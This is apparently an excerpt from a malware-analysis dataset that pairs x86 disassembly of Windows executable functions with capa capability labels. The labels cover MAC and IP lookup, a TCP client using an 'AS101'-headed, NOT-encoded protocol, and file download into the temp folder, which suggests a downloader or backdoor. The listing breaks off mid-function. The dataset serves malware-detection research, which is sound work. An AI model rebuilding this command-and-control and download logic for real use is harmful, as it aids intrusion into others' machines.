joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4038e0
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ecx
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push edi
xor ebx, ebx
mov dword [esp + 0x10], 0x3a98
mov eax, dword [esp + 0x10]
push eax
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x403959
lea ecx, [esp + 0x10]
push ecx
push esi
push 0
push 0x10
push 2
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
mov edi, eax
cmp edi, 0x6f
jne 0x403931
push esi
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor esi, esi
inc ebx
cmp edi, 0x6f
jne 0x403962
cmp ebx, 3
jb 0x4038f5
mov edi, 0xfffffffd
test esi, esi
je 0x403951
push esi
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
pop ecx
ret
test edi, edi
jne 0x40393c
mov eax, esi
test esi, esi
je 0x4039ce
mov ecx, 6
cmp dword [eax + 0x34], ecx
jne 0x40397c
cmp dword [eax + 0x1c], 0
jne 0x403987
mov eax, dword [eax + 8]
test eax, eax
jne 0x403971
xor edi, edi
jmp 0x403941
mov edx, dword [eax + 0x2c]
mov ecx, dword [esp + 0x18]
mov dword [ecx], edx
mov dx, word [eax + 0x30]
mov word [ecx + 4], dx
mov ecx, dword [eax + 0x10]
mov edx, dword [ecx + 0xc]
movzx edx, byte [edx + 4]
mov ecx, dword [esp + 0x1c]
mov byte [ecx + 3], dl
mov edx, dword [eax + 0x10]
mov edx, dword [edx + 0xc]
movzx edx, byte [edx + 5]
mov byte [ecx + 2], dl
mov edx, dword [eax + 0x10]
mov edx, dword [edx + 0xc]
movzx edx, byte [edx + 6]
mov byte [ecx + 1], dl
mov eax, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
mov al, byte [edx + 7]
mov byte [ecx], al
xor edi, edi
jmp 0x403941

Function at 0x403c10
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
sub esp, 0x41c
mov eax, dword [0x42dc20]
xor eax, esp
mov dword [esp + 0x414], eax
push ebp
push esi
push ebx
mov ecx, edi
call fcn.00403d40
mov ebp, eax
add esp, 4
test ebp, ebp
jne 0x403d1e
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.00410e00
add esp, 0xc
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x21a]
push eax
mov word [esp + 0x21c], dx
call fcn.00410e00
add esp, 0xc
lea ecx, [esp + 8]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, 0x431c60
cmp word [esi], 0
je 0x403cbe
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x214]
push 0x104
push eax
call fcn.0040ee0d
add esp, 0xc
push esi
lea ecx, [esp + 0x214]
push 0x104
push ecx
call fcn.0040ed90
add esp, 0xc
add esi, 0x118
cmp esi, 0x4321d8
jl 0x403c88
mov esi, 0x431c60
cmp word [esi], 0
je 0x403ce2
push ebx
push edi
push esi
call fcn.004045a0
add esp, 0xc
add esi, 0x118
cmp esi, 0x4321d8
jl 0x403cd1
push 0x4329f0
lea edx, [esp + 0xc]
push 0x104
push edx
call fcn.0040ed90
add esp, 0xc
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x403d1c
mov ebp, 2
mov eax, ebp
mov ecx, dword [esp + 0x41c]
pop esi
pop ebp
xor ecx, esp
call fcn.0040ed81
add esp, 0x41c
ret
Function at 0x403f50
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
sub esp, 0x9b0
mov eax, dword [0x42dc20]
xor eax, esp
mov dword [esp + 0x9a8], eax
mov eax, dword [esp + 0x9b8]
push ebx
xor ebx, ebx
lea ecx, [esp + 0x1a8]
cmp eax, ebx
je 0x403f7b
mov ecx, eax
xor eax, eax
mov word [ecx], ax
lea ecx, [esp + 0x18]
push ecx
push 0x101
mov dword [esp + 0xc], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x403fb0
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x9a8]
xor ecx, esp
call fcn.0040ed81
add esp, 0x9b0
ret
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x403f98
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, ebx
jne 0x403fec
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
push 4
lea edx, [esp + 0xc]
push edx
mov dword [esp + 0x10], eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
cmp eax, ebx
je 0x404045
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov ecx, dword [esp + 0x9b8]
mov eax, 2
push ecx
mov dword [esp + 0x10], edx
mov word [esp + 0xc], ax
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
lea edx, [esp + 0xc]
mov word [esp + 0xe], ax
mov eax, dword [esi]
push edx
push eax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x404045
mov ebx, 1
mov eax, ebx
pop ebx
mov ecx, dword [esp + 0x9a8]
xor ecx, esp
call fcn.0040ed81
add esp, 0x9b0
ret
mov eax, dword [esi]
cmp eax, ebx
je 0x404054
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi], ebx
mov ecx, dword [esp + 0x9ac]
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.0040ed81
add esp, 0x9b0
ret

Function at 0x4041b0
Capabilities:
Send data
Send data on socket

Disassembly:
push ecx
mov ecx, dword [esp + 8]
push ebx
xor eax, eax
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov dword [esp + 0xc], eax
cmp dword [ecx], eax
je 0x404232
cmp edi, eax
jle 0x4041dd
lea ebx, [ebx]
mov dl, byte [eax + ebp]
not dl
mov byte [eax + ebp], dl
inc eax
cmp eax, edi
jl 0x4041d0
lea ebx, [edi + 7]
push ebx
call fcn.00404922
mov esi, eax
lea eax, [edi + 5]
mov word [esi], ax
mov ecx, dword [str.AS101]
push edi
mov dword [esi + 2], ecx
mov dl, byte [0x42ef98]
lea eax, [esi + 7]
push ebp
push eax
mov byte [esi + 6], dl
call fcn.004168d0
mov ecx, dword [esp + 0x24]
mov edx, dword [ecx]
add esp, 0x10
push 0
push ebx
push esi
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x404236
cmp eax, ebx
jne 0x404236
mov dword [esp + 0xc], 1
jmp 0x404236
mov esi, dword [esp + 0x14]
test esi, esi
je 0x404243
push esi
call fcn.00404951
add esp, 4
mov eax, dword [esp + 0xc]
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x404410
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x8d8
mov eax, dword [0x42dc20]
xor eax, esp
mov dword [esp + 0x8d4], eax
mov eax, dword [esp + 0x8e0]
push ebp
mov ebp, dword [esp + 0x8e0]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x8e8]
push esi
push edi
mov dword [esp + 0x10], edx
lea ecx, [esp + 0xe0]
test eax, eax
je 0x404451
mov ecx, eax
xor eax, eax
mov word [ecx], ax
mov esi, dword [ebp]
xor edi, edi
mov dword [esp + 0xc], edi
test esi, esi
je 0x40456d
test edx, edx
je 0x40456d
push 0xc7
lea ecx, [esp + 0x1d]
push edi
push ecx
mov byte [esp + 0x24], al
call fcn.00410e00
add esp, 0xc
push edi
push 2
lea edx, [esp + 0x20]
push edx
push esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x404585
test eax, eax
je 0x404585
movzx edi, word [esp + 0x18]
lea eax, [edi + 2]
push ebx
push eax
xor esi, esi
call fcn.00404922
add esp, 4
mov ebx, eax
test edi, edi
jle 0x40455b
mov eax, dword [ebp]
push 0
mov ecx, edi
sub ecx, esi
push ecx
lea edx, [esi + ebx]
push edx
push eax
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x404539
test eax, eax
je 0x404539
add esi, eax
cmp edi, esi
jg 0x4044c4
cmp esi, 5
jl 0x40455b
mov ecx, dword [str.AS101]
sub esi, 5
cmp ecx, dword [ebx]
jne 0x40455b
mov dl, byte [ebx + 4]
cmp dl, byte [0x42ef98]
jne 0x40455b
test esi, esi
jle 0x40451c
lea eax, [ebx + 5]
mov edi, esi
mov edi, edi
mov cl, byte [eax]
not cl
mov byte [eax], cl
inc eax
sub edi, 1
jne 0x404510
mov edi, dword [esp + 0x18]
mov eax, dword [edi]
cmp eax, esi
jl 0x404541
mov eax, dword [esp + 0x14]
push esi
lea edx, [ebx + 5]
push edx
push eax
call fcn.004168d0
mov dword [edi], esi
jmp 0x404550
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x40455b
mov edx, dword [esp + 0x14]
push eax
lea ecx, [ebx + 5]
push ecx
push edx
call fcn.004168d0
add esp, 0xc
mov dword [esp + 0x10], 1
test ebx, ebx
je 0x404568
push ebx
call fcn.00404951
add esp, 4
mov eax, dword [esp + 0x10]
pop ebx
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x8d4]
xor ecx, esp
call fcn.0040ed81
add esp, 0x8d8
ret
mov ecx, dword [esp + 0x8e0]
mov eax, edi
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.0040ed81
add esp, 0x8d8
ret
Function at 0x4045a0
Capabilities:
Get common file path

Disassembly:
sub esp, 0xe28
mov eax, dword [0x42dc20]
xor eax, esp
mov dword [esp + 0xe24], eax
mov eax, dword [esp + 0xe30]
push ebx
push ebp
mov ebp, dword [esp + 0xe34]
push esi
push edi
push 0x400
lea ecx, [esp + 0x234]
push 0
push ecx
mov dword [esp + 0x30], eax
call fcn.00410e00
add esp, 0xc
push ebp
lea edx, [esp + 0x234]
push 0x1ff
push edx
call fcn.0040ee0d
mov eax, ebp
add esp, 0xc
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x404600
sub eax, edx
sar eax, 1
lea edi, [esp + eax*2 + 0x232]
mov ecx, 0x80
mov esi, 0x4327f0
mov eax, ebp
rep movsd dword es:[edi], dword [esi]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x404627
sub eax, edx
sar eax, 1
push 0x10000
lea ebx, [eax + eax + 0x202]
call fcn.0040fa9c
add esp, 4
push 0x10000
xor esi, esi
mov ebp, eax
push esi
push ebp
call fcn.00410e00
add esp, 0xc
push 0x7fe
lea ecx, [esp + 0x636]
xor eax, eax
push esi
push ecx
mov dword [esp + 0x28], 0x10000
mov word [esp + 0x63c], ax
call fcn.00410e00
add esp, 0xc
push 0x206
lea eax, [esp + 0x2e]
xor edx, edx
push esi
push eax
mov dword [esp + 0x24], esi
mov dword [esp + 0x20], esi
mov dword [esp + 0x2c], esi
mov word [esp + 0x34], dx
call fcn.00410e00
add esp, 0xc
lea ecx, [esp + 0x28]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov eax, dword [esp + 0xe44]
mov edi, dword [esp + 0x24]
lea edx, [esp + 0x630]
push edx
push eax
lea esi, [esp + 0x20]
call fcn.00403f50
add esp, 8
test eax, eax
je 0x404799
lea ecx, [esp + 0x630]
push ecx
push ebx
push 0xbba
lea ecx, [esp + 0x23c]
mov edx, esi
call fcn.00404070
add esp, 0xc
test eax, eax
je 0x404799
lea edx, [esp + 0x630]
push edx
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x28]
push ecx
mov ecx, ebp
mov edx, esi
call fcn.00404250
add esp, 0xc
test eax, eax
je 0x404799
mov edx, 0xbba
cmp word [esp + 0x20], dx
jne 0x404799
cmp dword [esp + 0x1c], 0
je 0x404799
cmp byte [ebp], 0
jne 0x404799
push 0x4329f0
lea eax, [esp + 0x2c]
push 0x104
push eax
call fcn.0040ed90
add esp, 0xc
push 0x428b64
lea ecx, [esp + 0x2c]
push ecx
lea edx, [esp + 0x1c]
push edx
mov dword [esp + 0x20], 0
call fcn.0040f0e2
add esp, 0xc
cmp dword [esp + 0x14], 0
je 0x404791
lea eax, [esp + 0x14]
push eax
mov edi, esi
call fcn.004047e0
add esp, 4
mov dword [esp + 0x14], 1
test ebp, ebp
je 0x4047a6
push ebp
call fcn.0040fb66
add esp, 4
mov eax, dword [esp + 0x18]
test eax, eax
je 0x4047b5
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [esp + 0xe34]
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040ed81
add esp, 0xe28
ret
Function at 0x4047e0
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
mov eax, 0x100c
call fcn.004132b0
mov eax, dword [0x42dc20]
xor eax, esp
mov dword [esp + 0x1008], eax
mov edx, dword [edi]
mov eax, dword [esp + 0x1010]
push ebx
push ebp
mov ebp, dword [sym.imp.WS2_32.dll_recv]
xor ebx, ebx
push ebx
push 4
lea ecx, [esp + 0x10]
push ecx
push edx
mov dword [esp + 0x1c], eax
call ebp
cmp eax, 4
je 0x404838
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x1008]
xor ecx, esp
call fcn.0040ed81
add esp, 0x100c
ret
cmp dword [esp + 8], ebx
jbe 0x404877
push esi
nop
mov ecx, dword [edi]
push 0
push 0x1000
lea eax, [esp + 0x1c]
push eax
push ecx
call ebp
mov esi, eax
test esi, esi
je 0x404876
mov edx, dword [esp + 0x10]
mov eax, dword [edx]
push eax
push esi
lea ecx, [esp + 0x1c]
push 1
push ecx
call fcn.0040f647
add ebx, esi
add esp, 0x10
cmp ebx, dword [esp + 0xc]
jb 0x404840
pop esi
mov edx, dword [esp + 0xc]
mov eax, dword [edx]
push eax
call fcn.0040f469
mov ecx, dword [esp + 0x1014]
add esp, 4
cmp ebx, dword [esp + 8]
pop ebp
sbb eax, eax
pop ebx
xor ecx, esp
inc eax
call fcn.0040ed81
add esp, 0x100c
ret

Function at 0x40ed81
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42dc20]
jne 0x40ed8b
repz ret
jmp fcn.004132db
Function at 0x41e642
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0041775e
and dword [ebp - 4], 0
cmp dword [0x431a1c], 0
mov ebx, eax
jne 0x41e6f3
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x41e7a4
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x41e7a4
push eax
call fcn.004176ec
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x431a1c], eax
call esi
push eax
call fcn.004176ec
mov dword [esp], 0x427dac
push edi
mov dword [0x431a20], eax
call esi
push eax
call fcn.004176ec
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x431a24], eax
call esi
push eax
call fcn.004176ec
pop ecx
mov dword [0x431a2c], eax
test eax, eax
je 0x41e6f3
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004176ec
pop ecx
mov dword [0x431a28], eax
mov eax, dword [0x431a28]
cmp eax, ebx
je 0x41e74b
cmp dword [0x431a2c], ebx
je 0x41e74b
push eax
call fcn.00417767
push dword [0x431a2c]
mov esi, eax
call fcn.00417767
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x41e74b
test edi, edi
je 0x41e74b
call esi
test eax, eax
je 0x41e742
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x41e742
test byte [ebp - 0xc], 1
jne 0x41e74b
or dword [ebp + 0x10], 0x200000
jmp 0x41e784
mov eax, dword [0x431a20]
cmp eax, ebx
je 0x41e784
push eax
call fcn.00417767
pop ecx
test eax, eax
je 0x41e784
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x41e784
mov eax, dword [0x431a24]
cmp eax, ebx
je 0x41e784
push eax
call fcn.00417767
pop ecx
test eax, eax
je 0x41e784
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x431a1c]
call fcn.00417767
pop ecx
test eax, eax
je 0x41e7a4
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x41e7a6
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x5e8425
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov eax, 0x8c
call fcn.00626844
mov eax, dword [0x4c2150]
xor eax, esp
mov dword [esp + 0x88], eax
mov eax, dword [esp + 0xa0]
mov ecx, dword [esp + 0x94]
push ebx
push ebp
mov ebp, dword [esp + 0xa4]
push esi
mov esi, dword [esp + 0x9c]
mov dword [esp + 0xc], eax
xor eax, eax
push edi
mov dword [esp + 0x14], ecx
test ebp, ebp
je 0x5e8403
mov eax, 1
mov dword [esi], ebp
jmp 0x5e8405
mov ebp, dword [esi]
test ecx, ecx
je 0x5e84e8
push ebp
call fcn.005d4284
mov ebx, eax
add esp, 4
cmp ebx, 0x80
jle 0x5e8434
push 0x4a1d50
push 0x68
push 0x4a1d38
call fcn.005d4b84
add esp, 0xc
mov edi, dword [esp + 0xa8]
cmp ebx, edi
jge 0x5e848b
mov ecx, dword [esp + 0x10]
push ecx
lea ebx, [esi + 4]
push ebp
push ebx
call fcn.005d0df4
add esp, 0xc
test eax, eax
je 0x5e858a
mov edx, dword [esp + 0x14]
push edi
push edx
push ebx
call fcn.005d0fa4
add esp, 0xc
test eax, eax
je 0x5e858a
lea edi, [esi + 0x4c]
push edi
lea eax, [esi + 0x50]
push eax
push ebx
call fcn.005d0fb4
add esp, 0xc
test eax, eax
je 0x5e858a
jmp 0x5e84c5
cmp edi, 0x80
jbe 0x5e84a7
push 0x4a1d10
push 0x75
push 0x4a1d38
call fcn.005d4b84
add esp, 0xc
mov ecx, dword [esp + 0x14]
push edi
push ecx
lea edx, [esi + 0x50]
push edx
call fcn.006264d4
mov eax, dword [esp + 0xb4]
lea edi, [esi + 0x4c]
add esp, 0xc
mov dword [edi], eax
mov edi, dword [edi]
cmp edi, 0x80
je 0x5e84f0
mov ecx, 0x80
sub ecx, edi
push ecx
lea edx, [edi + esi + 0x50]
push 0
push edx
call fcn.00626454
add esp, 0xc
jmp 0x5e84f0
test eax, eax
je 0x5e8576
xor eax, eax
mov edi, edi
mov cl, byte [esi + eax + 0x50]
xor cl, 0x36
mov byte [esp + eax + 0x18], cl
inc eax
cmp eax, 0x80
jl 0x5e84f4
mov edi, dword [esp + 0x10]
push edi
lea ebx, [esi + 0x1c]
push ebp
push ebx
call fcn.005d0df4
add esp, 0xc
test eax, eax
je 0x5e858a
push ebp
call fcn.005d4284
push eax
lea edx, [esp + 0x20]
push edx
push ebx
call fcn.005d0fa4
add esp, 0x10
test eax, eax
je 0x5e858a
xor eax, eax
mov cl, byte [esi + eax + 0x50]
xor cl, 0x5c
mov byte [esp + eax + 0x18], cl
inc eax
cmp eax, 0x80
jl 0x5e8538
push edi
lea ebx, [esi + 0x34]
push ebp
push ebx
call fcn.005d0df4
add esp, 0xc
test eax, eax
je 0x5e858a
push ebp
call fcn.005d4284
push eax
lea edx, [esp + 0x20]
push edx
push ebx
call fcn.005d0fa4
add esp, 0x10
test eax, eax
je 0x5e858a
lea eax, [esi + 0x1c]
push eax
add esi, 4
push esi
call fcn.005d1144
add esp, 8
test eax, eax
jne 0x5e858e
xor eax, eax
jmp 0x5e8593
mov eax, 1
mov ecx, dword [esp + 0x98]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00622a52
add esp, 0x8c
ret
Function at 0x619c34
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 8]
mov ecx, dword [eax + 4]
push ebx
push esi
push edi
mov edi, dword [esp + 0x18]
cmp ecx, dword [edi + 4]
jge 0x619c4d
mov esi, edi
mov edi, eax
jmp 0x619c4f
mov esi, eax
mov eax, dword [esi + 4]
mov ebx, dword [esp + 0x10]
cmp eax, dword [ebx + 8]
jg 0x619c5f
mov eax, ebx
jmp 0x619c69
push eax
push ebx
call fcn.005df114
add esp, 8
test eax, eax
jne 0x619c71
pop edi
pop esi
pop ebx
ret
xor eax, eax
cmp dword [edi + 4], eax
jle 0x619c8d
mov edx, dword [esi]
mov ecx, dword [edi]
mov edx, dword [edx + eax*4]
xor edx, dword [ecx + eax*4]
mov ecx, dword [ebx]
mov dword [ecx + eax*4], edx
inc eax
cmp eax, dword [edi + 4]
jl 0x619c78
cmp eax, dword [esi + 4]
jge 0x619ca4
mov edi, edi
mov edx, dword [esi]
mov edx, dword [edx + eax*4]
mov ecx, dword [ebx]
mov dword [ecx + eax*4], edx
inc eax
cmp eax, dword [esi + 4]
jl 0x619c94
mov eax, dword [esi + 4]
mov dword [ebx + 4], eax
test eax, eax
jle 0x619cc5
mov ecx, dword [ebx]
lea ecx, [ecx + eax*4 - 4]
mov edx, dword [ecx]
sub ecx, 4
test edx, edx
jne 0x619cc2
dec eax
test eax, eax
jg 0x619cb4
mov dword [ebx + 4], eax
pop edi
pop esi
mov eax, 1
pop ebx
ret

Function at 0x66b9dc
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
xor ecx, ecx
mov eax, 1
jmp 0x66b9ec
add eax, eax
inc ecx
cmp eax, 0x1000
jl 0x66b9ec
mov eax, 1
shl eax, cl
cmp eax, 0x1000
jne 0x66bb6e
mov ecx, dword [0x443b28]
push ebx
push esi
mov esi, dword [0x443b2c]
add ecx, 0xfff
push edi
mov edi, dword [0x443b30]
add esi, 0xfff
add edi, 0xfff
and esi, 0xfffff000
and edi, 0xfffff000
mov dword [0x443b2c], esi
and ecx, 0xfffff000
mov dword [0x443b30], edi
mov dword [0x443b28], ecx
cmp esi, 0x8000
jge 0x66ba68
mov esi, 0x1800000
mov dword [0x443b2c], esi
jmp 0x66ba99
cmp esi, 0x80000
jge 0x66ba99
push esi
push 0x43b554
call fcn.0068a911
add eax, 0x40
push eax
call fcn.0068aa75
mov esi, dword [0x443b2c]
add esp, 0xc
mov edi, dword [0x443b30]
mov ecx, dword [0x443b28]
xor ebx, ebx
mov eax, 1
test ecx, ecx
cmovle ebx, eax
cmp ecx, 0x4000
jl 0x66bab7
lea eax, [esi - 0x4000]
cmp ecx, eax
jle 0x66bb06
lea eax, [esi + esi*2]
cdq
lea ecx, [esi - 0x4000]
and edx, 3
add eax, edx
sar eax, 2
cmp ecx, eax
cmovle eax, ecx
lea ecx, [eax + 0xfff]
and ecx, 0xfffff000
mov dword [0x443b28], ecx
test ebx, ebx
jne 0x66bb06
push ecx
push 0x43b580
push 2
call fcn.0066aebc
mov esi, dword [0x443b2c]
add esp, 0xc
mov edi, dword [0x443b30]
mov ecx, dword [0x443b28]
xor ebx, ebx
mov eax, 1
test edi, edi
cmovle ebx, eax
lea eax, [esi - 0x2000]
mov dword [ebp - 4], eax
cmp edi, eax
jge 0x66bb29
lea eax, [ecx + 0x2000]
cmp edi, eax
jg 0x66bb67
sub esi, ecx
mov eax, esi
shl eax, 4
sub eax, esi
cdq
and edx, 0xf
add eax, edx
sar eax, 4
add eax, ecx
cmp dword [ebp - 4], eax
cmovle eax, dword [ebp - 4]
add eax, 0xfff
and eax, 0xfffff000
mov dword [0x443b30], eax
test ebx, ebx
jne 0x66bb67
push eax
push 0x43b5b0
push 2
call fcn.0066aebc
add esp, 0xc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x1000
push 0x43b52c
push 1
call fcn.0066aebc
add esp, 0xc
push 1
call fcn.0068a820
int3
Function at 0x66bb8c
Capabilities:
Terminate process

Disassembly:
push esi
mov dword [0x443b34], 0
call fcn.0066b9dc
mov esi, dword [0x443b2c]
shr esi, 0xc
add esi, 0x1f
mov dword [0x443c4c], 0x10000
shr esi, 5
mov dword [0x443c50], esi
lea eax, [esi*8]
push eax
call fcn.0068a280
mov ecx, eax
add esp, 4
mov dword [0x443c54], ecx
test ecx, ecx
je 0x66bc0c
xor eax, eax
test esi, esi
jle 0x66bc00
jmp 0x66bbec
mov dword [ecx + eax*8], 0xffffffff
mov dword [ecx + eax*8 + 4], 0
inc eax
cmp eax, esi
jl 0x66bbec
mov dword [0x443c48], 0
pop esi
ret
push 0x43b5e4
push 1
call fcn.0066aebc
add esp, 8
push 1
call fcn.0068a820
int3
Function at 0x66e57c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
cmp dword [esi + 0x10], 0
mov edi, dword [esi + 4]
jl 0x66e65d
cmp dword [esi + 0x14], 0
jge 0x66e65d
cmp dword [edi + 0x44], 0
je 0x66e5e5
mov edx, 0x43bf58
lea ecx, [edx + 1]
lea ebx, [ebx]
mov al, byte [edx]
inc edx
test al, al
jne 0x66e5ac
sub edx, ecx
js 0x66e5c3
mov ecx, 0x43bf58
call fcn.0066af0c
jmp 0x66e5c5
xor eax, eax
push eax
mov edx, 0x1f5
mov ecx, esi
call fcn.0066cb2c
add esp, 4
mov ecx, edi
call fcn.0066d6bc
mov eax, 1
pop edi
pop esi
pop ebx
ret
cmp dword [edi + 0x40], 0
jge 0x66e62c
mov edx, 0x43bf7c
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x66e5f3
sub edx, ecx
js 0x66e60a
mov ecx, 0x43bf7c
call fcn.0066af0c
jmp 0x66e60c
xor eax, eax
push eax
mov edx, 0x1f6
mov ecx, esi
call fcn.0066cb2c
add esp, 4
mov ecx, edi
call fcn.0066d6bc
mov eax, 1
pop edi
pop esi
pop ebx
ret
cmp dword [edi + 0x34], 0
jge 0x66e653
mov edx, 0x43bfa0
lea ecx, [edx + 1]
mov edi, edi
mov al, byte [edx]
inc edx
test al, al
jne 0x66e63c
sub edx, ecx
js 0x66e60a
mov ecx, 0x43bfa0
call fcn.0066af0c
jmp 0x66e60c
xor edx, edx
pop edi
pop esi
pop ebx
jmp fcn.0066d9dc
mov edx, 0x43bf34
lea ecx, [edx + 1]
lea esp, [esp]
mov al, byte [edx]
inc edx
test al, al
jne 0x66e66c
sub edx, ecx
js 0x66e685
mov ecx, 0x43bf34
call fcn.0066af0c
mov ebx, eax
jmp 0x66e687
xor ebx, ebx
mov ecx, dword [esi + 0x40]
test ecx, ecx
je 0x66e693
call fcn.0066b1cc
mov ecx, dword [esi + 0x44]
test ecx, ecx
je 0x66e69f
call fcn.0066b1cc
xor edx, edx
mov dword [esi + 0x3c], 0x1f5
mov ecx, esi
mov dword [esi + 0x40], ebx
mov dword [esi + 0x44], 0
call fcn.0066d9dc
mov ecx, edi
call fcn.0066d6bc
pop edi
pop esi
mov eax, 1
pop ebx
ret

Function at 0x66fb3c
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [0x443b40]
mov ebx, edx
push edi
mov edi, ecx
test esi, esi
je 0x66fb5c
cmp dword [esi], edi
je 0x66fb74
mov esi, dword [esi + 0x14]
test esi, esi
jne 0x66fb51
push 0x18
call fcn.0068a280
mov ecx, eax
add esp, 4
mov dword [ebp - 4], ecx
test ecx, ecx
jne 0x66fb95
jmp 0x66fc93
test esi, esi
je 0x66fb5c
lea eax, [edi + 0xa]
push eax
push 0x43c434
push 1
call fcn.0066aebc
add esp, 0xc
cmp dword [esi + 4], ebx
je 0x66fb5c
jmp 0x66fca9
test edi, edi
je 0x66fbb3
push dword [edi]
push edi
push 0x43b344
push 0x1000
call fcn.0066aebc
mov ecx, dword [ebp - 4]
add esp, 0x10
inc dword [edi]
mov dword [ecx], edi
mov dword [ecx + 4], ebx
cmp ebx, 0xe
ja 0x66fcc0
movzx eax, byte [ebx + 0x405e10]
jmp dword [eax*4 + 0x405e0c]
push 0x43c468
push 1
call fcn.0066aebc
add esp, 8
push 1
call fcn.0068a820
push 1
call fcn.0068a820
push edx
push 0x43c48c
push 1
call fcn.0066aebc
add esp, 0xc
call fcn.0068a834
lea ecx, [ecx]
adc ebx, dword [ebp + 0x40]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
int3
Function at 0x66fcdc
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
mov eax, dword [0x43a400]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, edx
push edi
mov edi, ecx
lea ecx, [esi + 1]
lea esp, [esp]
mov al, byte [esi]
inc esi
test al, al
jne 0x66fcfc
sub esi, ecx
lea ecx, [ebp - 0x204]
push esi
push edx
push 0x200
xor edx, edx
call fcn.0067731c
add esp, 0xc
test eax, eax
jns 0x66fd3e
push 0x43c4b4
push edi
call fcn.0068aa75
add esp, 8
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0068a1f9
mov esp, ebp
pop ebp
ret
push edi
push eax
lea eax, [ebp - 0x204]
push 1
push eax
call fcn.0068b860
mov ecx, dword [ebp - 4]
